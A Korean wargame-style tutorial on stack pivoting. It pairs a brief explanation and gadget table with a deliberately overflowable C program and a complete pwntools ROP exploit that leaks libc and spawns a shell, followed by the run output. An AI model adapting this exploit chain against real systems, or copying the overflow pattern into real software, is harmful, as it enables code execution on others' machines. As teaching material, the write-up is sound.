특정 중심점을 기준으로 스택이 아니었던 공간을 스택 영역인 것처럼 사용하는 기법입니다. 이 기법을 통해 익스플로잇을 하기 위한 공간이 부족할 때 새로운 스택 영역을 확보할 수 있습니다.
기존의 스택을 리얼 스택이라고 하고 새롭게 확보된 영역을 페이크 스택이라합니다. fake stack을 위한 공간으로는 보통 bss+0x300 영역을 사용하고 체이닝을 할때 마다 0x100씩 더해서 새로운 공간을 만들어 줍니다.
가젯은 RSP 레지스터의 값을 변조할 수 있는 가젯을 사용합니다.
add esp, offset; ret | mov esp, register; ret |
---|---|
sub esp, offset; ret | leave; ret |
call register | mov register, [ebp+0c]; call retgister |
push register; pop esp; ret | mov reg, dword ptr fs:[0]; ...; ret |
xchg register, esp; ret |
여러 가젯들이 있는데 이중 보통 leave; ret; 가젯을 사용합니다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int loop = 0;
int main(void)
{
char buf[0x30];
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
if (loop)
{
puts("bye");
exit(-1);
}
loop = 1;
read(0, buf, 0x70);
return 0;
}
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process('./source')
e = ELF('./source')
libc = e.libc
r = ROP(e)
#gdb.attach(p)
#context.log_level='debug'
read_plt = e.plt['read']
puts_plt = e.plt['puts']
read_got = e.got['read']
bss = e.bss()
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh"))[0]
leave_ret = r.find_gadget(['leave', 'ret'])[0]
ret = r.find_gadget(['ret'])[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
payload = b'A' * 0x30
payload += p64(bss + 0x300)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss+0x300) + p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)
p.send(payload)
payload = p64(bss+0x400)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss+0x400) + p64(0)
payload += p64(read_plt)
payload += p64(leave_ret)
p.send(payload)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset
slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("/bin/sh", binsh)
payload = p64(0)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
$ python3 exploit.py
[+] Starting local process './source': pid 489
[*] '/home/ion/wargame/stack_pivot/source'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 14 cached gadgets for './source'
[+] read: 0x7f179b647020
[+] libc base: 0x7f179b537000
[+] system: 0x7f179b586420
[+] /bin/sh: 0x7f179b6ead88
[*] Switching to interactive mode
$ ls
core exploit.py exploit2.py source source.c